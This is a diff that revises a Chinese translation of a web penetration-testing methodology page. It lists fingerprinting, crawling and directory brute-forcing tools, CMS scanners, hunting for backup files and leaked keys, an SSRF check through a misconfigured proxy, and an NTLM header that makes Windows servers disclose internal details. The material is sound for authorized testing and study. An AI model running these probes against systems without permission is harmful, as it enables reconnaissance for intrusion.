* [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行爬取。_
|
||||||
* [ ] **目录暴力破解**:尝试暴力破解所有发现的文件夹,寻找新的**文件**和**目录**。
|
* [ ] **目录暴力破解**:尝试暴力破解所有发现的文件夹,寻找新的**文件**和**目录**。
|
||||||
* [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行暴力破解。_
|
* [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行暴力破解。_
|
||||||
|
@ -73,17 +75,17 @@ whatweb -a 3 <URL> #Aggresive
|
||||||
webtech -u <URL>
|
webtech -u <URL>
|
||||||
webanalyze -host https://google.com -crawl 2
|
webanalyze -host https://google.com -crawl 2
|
||||||
```
|
```
|
||||||
搜索 **web 应用程序的漏洞版本**
|
Search **for** [**web应用程序的漏洞版本**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||||
|
|
||||||
### **检查是否有 WAF**
|
### **检查是否有WAF**
|
||||||
|
|
||||||
* [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
* [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||||
* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||||
* [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
* [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||||
|
|
||||||
### Web 技术技巧
|
### Web技术技巧
|
||||||
|
|
||||||
一些 **寻找漏洞** 的 **技巧**,适用于不同的知名 **技术**:
|
一些**技巧**用于**查找不同知名技术**中的**漏洞**:
|
||||||
|
|
||||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||||
* [**Apache**](apache.md)
|
* [**Apache**](apache.md)
|
||||||
|
@ -95,8 +97,8 @@ webanalyze -host https://google.com -crawl 2
|
||||||
* [**Git**](git.md)
|
* [**Git**](git.md)
|
||||||
* [**Golang**](golang.md)
|
* [**Golang**](golang.md)
|
||||||
* [**GraphQL**](graphql.md)
|
* [**GraphQL**](graphql.md)
|
||||||
* [**H2 - Java SQL 数据库**](h2-java-sql-database.md)
|
* [**H2 - Java SQL数据库**](h2-java-sql-database.md)
|
||||||
* [**IIS 技巧**](iis-internet-information-services.md)
|
* [**IIS技巧**](iis-internet-information-services.md)
|
||||||
* [**JBOSS**](jboss.md)
|
* [**JBOSS**](jboss.md)
|
||||||
* [**Jenkins**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md)
|
* [**Jenkins**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md)
|
||||||
* [**Jira**](jira.md)
|
* [**Jira**](jira.md)
|
||||||
|
@ -105,7 +107,7 @@ webanalyze -host https://google.com -crawl 2
|
||||||
* [**Laravel**](laravel.md)
|
* [**Laravel**](laravel.md)
|
||||||
* [**Moodle**](moodle.md)
|
* [**Moodle**](moodle.md)
|
||||||
* [**Nginx**](nginx.md)
|
* [**Nginx**](nginx.md)
|
||||||
* [**PHP (php 有很多有趣的技巧可以被利用)**](php-tricks-esp/)
|
* [**PHP(php有很多有趣的技巧可以被利用)**](php-tricks-esp/)
|
||||||
* [**Python**](python.md)
|
* [**Python**](python.md)
|
||||||
* [**Spring Actuators**](spring-actuators.md)
|
* [**Spring Actuators**](spring-actuators.md)
|
||||||
* [**Symphony**](symphony.md)
|
* [**Symphony**](symphony.md)
|
||||||
|
@ -115,21 +117,21 @@ webanalyze -host https://google.com -crawl 2
|
||||||
* [**WebDav**](put-method-webdav.md)
|
* [**WebDav**](put-method-webdav.md)
|
||||||
* [**Werkzeug**](werkzeug.md)
|
* [**Werkzeug**](werkzeug.md)
|
||||||
* [**Wordpress**](wordpress.md)
|
* [**Wordpress**](wordpress.md)
|
||||||
* [**Electron Desktop (XSS 到 RCE)**](electron-desktop-apps/)
|
* [**Electron Desktop (XSS到RCE)**](electron-desktop-apps/)
|
||||||
|
|
||||||
_请注意,**同一域名**可能在不同的 **端口**、**文件夹**和 **子域名**中使用 **不同的技术**。_\
|
_请注意,**同一域名**可能在不同的**端口**、**文件夹**和**子域名**中使用**不同的技术**。_\
|
||||||
如果 web 应用程序使用了之前列出的任何知名 **技术/平台**或 **其他**,请不要忘记 **在互联网上搜索** 新的技巧(并告诉我!)。
|
如果web应用程序使用任何知名的**技术/平台**或**其他任何技术**,请不要忘记**在互联网上搜索**新的技巧(并告诉我!)。
|
||||||
|
|
||||||
### 源代码审查
|
### 源代码审查
|
||||||
|
|
||||||
如果应用程序的 **源代码** 在 **github** 上可用,除了进行 **自己的白盒测试** 外,还有 **一些信息** 可能对当前的 **黑盒测试** **有用**:
|
如果应用程序的**源代码**在**github**上可用,除了进行**自己的白盒测试**外,还有**一些信息**可能对当前的**黑盒测试**是**有用的**:
|
||||||
|
|
||||||
* 是否有 **变更日志、Readme 或版本** 文件,或任何可以通过网络访问的 **版本信息**?
|
* 是否有**变更日志或自述文件或版本**文件或任何带有**版本信息的可通过网络访问的内容?
|
||||||
* **凭据** 是如何保存的?是否有任何(可访问的?) **文件** 包含凭据(用户名或密码)?
|
* **凭据**是如何保存的?是否有任何(可访问的?)**文件**包含凭据(用户名或密码)?
|
||||||
* **密码** 是 **明文**、**加密** 还是使用了哪种 **哈希算法**?
|
* **密码**是以**明文**、**加密**还是使用了哪种**哈希算法**?
|
||||||
* 是否使用了任何 **主密钥** 来加密某些内容?使用了哪种 **算法**?
|
* 是否使用任何**主密钥**来加密某些内容?使用了哪种**算法**?
|
||||||
* 你能否通过利用某个漏洞 **访问这些文件**?
|
* 你能否通过利用某个漏洞**访问这些文件**?
|
||||||
* 在 **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **密码在旧提交中引入**)?
|
* 在github中是否有任何**有趣的信息**(已解决和未解决的)**问题**?或者在**提交历史**中(也许某个**密码在旧提交中引入**)?
|
||||||
|
|
||||||
{% content-ref url="code-review-tools.md" %}
|
{% content-ref url="code-review-tools.md" %}
|
||||||
[code-review-tools.md](code-review-tools.md)
|
[code-review-tools.md](code-review-tools.md)
|
||||||
|
@ -151,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||||
```
|
```
|
||||||
#### CMS 扫描器
|
#### CMS 扫描器
|
||||||
|
|
||||||
如果使用了 CMS,不要忘记 **运行扫描器**,也许会发现一些有价值的信息:
|
如果使用了 CMS,别忘了 **运行扫描器**,也许会发现一些有价值的信息:
|
||||||
|
|
||||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 网站的安全问题。 (GUI)\
|
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 网站的安全问题。 (GUI)\
|
||||||
|
@ -164,11 +166,11 @@ wpscan --force update -e --url <URL>
|
||||||
joomscan --ec -u <URL>
|
joomscan --ec -u <URL>
|
||||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
```
|
```
|
||||||
> 在这一点上,您应该已经获得了一些关于客户端使用的网络服务器的信息(如果提供了任何数据)以及在测试期间需要记住的一些技巧。如果您运气好,您甚至找到了一个CMS并运行了一些扫描器。
|
> 在这一点上,您应该已经获得了一些关于客户使用的网络服务器的信息(如果提供了任何数据)以及在测试期间需要记住的一些技巧。如果您运气好,您甚至找到了一个CMS并运行了一些扫描器。
|
||||||
|
|
||||||
## 逐步Web应用程序发现
|
## 逐步网络应用发现
|
||||||
|
|
||||||
> 从这一点开始,我们将开始与Web应用程序进行交互。
|
> 从这一点开始,我们将开始与网络应用程序进行交互。
|
||||||
|
|
||||||
### 初始检查
|
### 初始检查
|
||||||
|
|
||||||
|
@ -195,7 +197,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试:
|
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试:
|
||||||
|
|
||||||
* **暴力破解**凭据
|
* **暴力破解**凭据
|
||||||
* 通过WebDav向网页中**找到的其他文件夹**上传文件。您可能有权限在其他文件夹中上传文件。
|
* 通过WebDav将**文件上传**到网页中**找到的其他文件夹**。您可能有权限在其他文件夹中上传文件。
|
||||||
|
|
||||||
### **SSL/TLS漏洞**
|
### **SSL/TLS漏洞**
|
||||||
|
|
||||||
|
@ -218,18 +220,18 @@ sslyze --regular <ip:port>
|
||||||
|
|
||||||
### 爬虫
|
### 爬虫
|
||||||
|
|
||||||
在网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此,应使用网络爬虫和外部资源来找到尽可能多的有效路径。
|
在网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此,应使用网络爬虫和外部来源来找到尽可能多的有效路径。
|
||||||
|
|
||||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML爬虫,JS文件中的LinkFinder和外部资源(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)。
|
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML爬虫,JS文件中的LinkFinder和外部来源(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)。
|
||||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫,带有JS文件的LinkFinder和Archive.org作为外部资源。
|
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫,带有JS文件的LinkFinder和Archive.org作为外部来源。
|
||||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML爬虫,也指示“美味文件”。
|
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML爬虫,也指示“美味文件”。
|
||||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式CLI HTML爬虫。它还在Archive.org中搜索。
|
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式CLI HTML爬虫。它还在Archive.org中搜索。
|
||||||
* [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是爬虫,但可能有用。您只需指示一个包含主机的文件和一个包含路径的文件,meg将获取每个主机上的每个路径并保存响应。
|
* [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是爬虫,但可能有用。您只需指示一个包含主机的文件和一个包含路径的文件,meg将获取每个主机上的每个路径并保存响应。
|
||||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有JS渲染能力的HTML爬虫。然而,它似乎没有维护,预编译版本较旧,当前代码无法编译。
|
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 带有JS渲染功能的HTML爬虫。然而,它似乎没有维护,预编译版本较旧,当前代码无法编译。
|
||||||
* [**gau**](https://github.com/lc/gau) (go): 使用外部提供者(wayback, otx, commoncrawl)的HTML爬虫。
|
* [**gau**](https://github.com/lc/gau) (go): 使用外部提供者(wayback, otx, commoncrawl)的HTML爬虫。
|
||||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本将找到带参数的URL并列出它们。
|
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本将找到带参数的URL并列出它们。
|
||||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): 具有JS渲染能力的HTML爬虫。
|
* [**galer**](https://github.com/dwisiswant0/galer) (go): 带有JS渲染功能的HTML爬虫。
|
||||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫,具有JS美化能力,能够在JS文件中搜索新路径。查看[JSScanner](https://github.com/dark-warlord14/JSScanner)也值得一看,它是LinkFinder的一个包装器。
|
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫,具有JS美化功能,能够在JS文件中搜索新路径。查看[JSScanner](https://github.com/dark-warlord14/JSScanner)也值得一看,它是LinkFinder的一个包装器。
|
||||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 提取HTML源代码和嵌入的JavaScript文件中的端点。对漏洞猎人、红队员、信息安全专家有用。
|
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 提取HTML源代码和嵌入的JavaScript文件中的端点。对漏洞猎人、红队员、信息安全专家有用。
|
||||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier从JavaScript文件中解析相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
|
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier从JavaScript文件中解析相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
|
||||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件(HTML),它将使用巧妙的正则表达式从丑陋(压缩)文件中提取相对URL。
|
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件(HTML),它将使用巧妙的正则表达式从丑陋(压缩)文件中提取相对URL。
|
||||||
|
@ -244,23 +246,23 @@ sslyze --regular <ip:port>
|
||||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定正则表达式查找敏感信息。
|
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定正则表达式查找敏感信息。
|
||||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/蜘蛛,专为网络安全专业人员设计。
|
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/蜘蛛,专为网络安全专业人员设计。
|
||||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): 这是一个Go包和[命令行工具](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从JavaScript源代码中提取URL、路径、秘密和其他有趣的数据。
|
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): 这是一个Go包和[命令行工具](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从JavaScript源代码中提取URL、路径、秘密和其他有趣的数据。
|
||||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**,用于**提取请求中的参数和端点**以创建自定义字典进行模糊测试和枚举。
|
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**,用于**提取请求中的参数和端点**,以创建自定义字典进行模糊测试和枚举。
|
||||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): 这个工具很棒。
|
* [**katana**](https://github.com/projectdiscovery/katana) (go): 这个工具很棒。
|
||||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个链接。
|
* [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个链接。
|
||||||
|
|
||||||
### 暴力破解目录和文件
|
### 暴力破解目录和文件
|
||||||
|
|
||||||
从根文件夹开始**暴力破解**,确保使用**此方法**暴力破解**所有找到的**目录,以及通过**爬虫**(您可以递归地进行此暴力破解,并在使用的字典开头附加找到的目录名称)。\
|
从根文件夹开始**暴力破解**,确保使用**此方法**暴力破解**所有找到的**目录,以及通过**爬虫**发现的所有目录(您可以递归地进行此暴力破解,并在使用的字典开头附加找到的目录名称)。\
|
||||||
工具:
|
工具:
|
||||||
|
|
||||||
* **Dirb** / **Dirbuster** - 包含在Kali中,**旧**(和**慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
|
* **Dirb** / **Dirbuster** - 包含在Kali中,**旧**(和**慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
|
||||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 不允许自动签名证书,但**允许递归搜索。
|
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许自动签名证书,但**允许递归搜索。
|
||||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 允许自动签名证书,**不**具有**递归**搜索。
|
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许自动签名证书,但**没有****递归**搜索。
|
||||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
|
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
|
||||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
* [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||||
* [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫,而是一个工具,给定找到的URL列表将删除“重复”的URL。
|
* [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫,而是一个工具,给定找到的URL列表将删除“重复”的URL。
|
||||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展,从不同页面的burp历史中创建目录列表。
|
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展,从不同页面的burp历史记录中创建目录列表。
|
||||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL(基于js导入)。
|
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL(基于js导入)。
|
||||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
|
* [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
|
||||||
|
|
||||||
|
@ -288,31 +290,31 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
|
||||||
### 检查每个找到的文件
|
### 检查每个找到的文件
|
||||||
|
|
||||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断开链接,这些链接可能容易被接管。
|
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断开链接,这些链接可能容易被接管。
|
||||||
* **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。备份命名的常见变体有:_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp和file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
* **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。备份命名的常见变体有:_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||||
* **发现新参数**: 您可以使用像[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
|
* **发现新参数**: 您可以使用像[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
|
||||||
* _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
* _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||||
* **评论:** 检查所有文件的评论,您可以找到**凭据**或**隐藏功能**。
|
* **评论:** 检查所有文件的评论,您可以找到**凭据**或**隐藏功能**。
|
||||||
* 如果您正在进行**CTF**,一个“常见”的技巧是**隐藏** **信息**在页面的**右侧**的评论中(使用**数百个** **空格**,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
|
* 如果您正在进行**CTF**,一个“常见”技巧是**隐藏****信息**在页面的**右侧**的评论中(使用**数百个**空格,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
|
||||||
* **API密钥**: 如果您**找到任何API密钥**,有指南指示如何使用不同平台的API密钥:[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
* **API密钥**: 如果您**找到任何API密钥**,有指南指示如何使用不同平台的API密钥:[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||||
* Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik的API密钥,您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)来检查该密钥可以访问哪些API。
|
* Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik的API密钥,您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)来检查该密钥可以访问哪些API。
|
||||||
* **S3存储桶**: 在爬虫过程中查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下,[**检查**存储桶的**权限**](buckets/)。
|
* **S3存储桶**: 在爬虫过程中查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下,[**检查**存储桶的**权限**](buckets/)。
|
||||||
|
|
||||||
### 特殊发现
|
### 特殊发现
|
||||||
|
|
||||||
**在**执行**爬虫**和**暴力破解**时,您可能会发现**有趣的** **事物**,您需要**注意**。
|
**在**执行**爬虫**和**暴力破解**时,您可能会发现**有趣**的**事物**,您需要**注意**。
|
||||||
|
|
||||||
**有趣的文件**
|
**有趣的文件**
|
||||||
|
|
||||||
* 查找**CSS**文件中指向其他文件的**链接**。
|
* 查找**CSS**文件中指向其他文件的**链接**。
|
||||||
* [如果您找到一个_**.git**_文件,可以提取一些信息](git.md)
|
* [如果您找到一个_**.git**_文件,可以提取一些信息](git.md)
|
||||||
* 如果您找到一个_**.env**_,可以找到API密钥、数据库密码和其他信息。
|
* 如果您找到一个_**.env**_,可以找到诸如API密钥、数据库密码和其他信息。
|
||||||
* 如果您找到**API端点**,您[也应该测试它们](web-api-pentesting.md)。这些不是文件,但可能“看起来像”它们。
|
* 如果您找到**API端点**,您[也应该测试它们](web-api-pentesting.md)。这些不是文件,但可能“看起来像”它们。
|
||||||
* **JS文件**: 在爬虫部分提到了一些可以从JS文件中提取路径的工具。此外,监控每个找到的JS文件也很有趣,因为在某些情况下,变化可能表明代码中引入了潜在的漏洞。您可以使用例如[**JSMon**](https://github.com/robre/jsmon)**.**
|
* **JS文件**: 在爬虫部分提到了一些可以从JS文件中提取路径的工具。此外,监控每个找到的JS文件也很有趣,因为在某些情况下,变化可能表明代码中引入了潜在的漏洞。您可以使用例如[**JSMon**](https://github.com/robre/jsmon)**.**
|
||||||
* 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件,以查找是否存在漏洞。
|
* 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件,以查找是否存在漏洞。
|
||||||
* **JavaScript去混淆和解包:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
* **JavaScript去混淆和解包器:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||||
* **JavaScript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
* **JavaScript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||||
* **JsFuck去混淆** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
* **JsFuck去混淆** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||||
|
@ -327,12 +329,12 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
|
||||||
|
|
||||||
**502 Proxy Error**
|
**502 Proxy Error**
|
||||||
|
|
||||||
如果任何页面**响应**该**代码**,它可能是一个**配置错误的代理**。**如果您发送HTTP请求,如:`GET https://google.com HTTP/1.1`**(带有主机头和其他常见头),**代理**将尝试**访问** _**google.com**_ **,您将发现一个** SSRF。
|
如果任何页面**响应**该**代码**,它可能是一个**配置错误的代理**。**如果您发送HTTP请求,如:`GET https://google.com HTTP/1.1`**(带有主机头和其他常见头),**代理**将尝试**访问**_**google.com**_ **,您将发现一个** SSRF。
|
||||||
|
|
||||||
**NTLM认证 - 信息泄露**
|
**NTLM认证 - 信息泄露**
|
||||||
|
|
||||||
如果运行的服务器要求身份验证是**Windows**或您发现一个登录要求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
|
如果运行的服务器要求身份验证是**Windows**或您发现一个登录要求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
|
||||||
**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**,服务器将响应内部信息(IIS版本,Windows版本...)在头部"WWW-Authenticate"中。\
|
**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**,服务器将通过“WWW-Authenticate”头响应内部信息(IIS版本、Windows版本...)。\
|
||||||
您可以使用**nmap插件**"_http-ntlm-info.nse_"来**自动化**此过程。
|
您可以使用**nmap插件**"_http-ntlm-info.nse_"来**自动化**此过程。
|
||||||
|
|
||||||
**HTTP重定向(CTF)**
|
**HTTP重定向(CTF)**
|
||||||
|
@ -357,11 +359,13 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
|
||||||
|
|
||||||
您可以使用工具,例如[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)来监控页面的修改,这可能会插入漏洞。
|
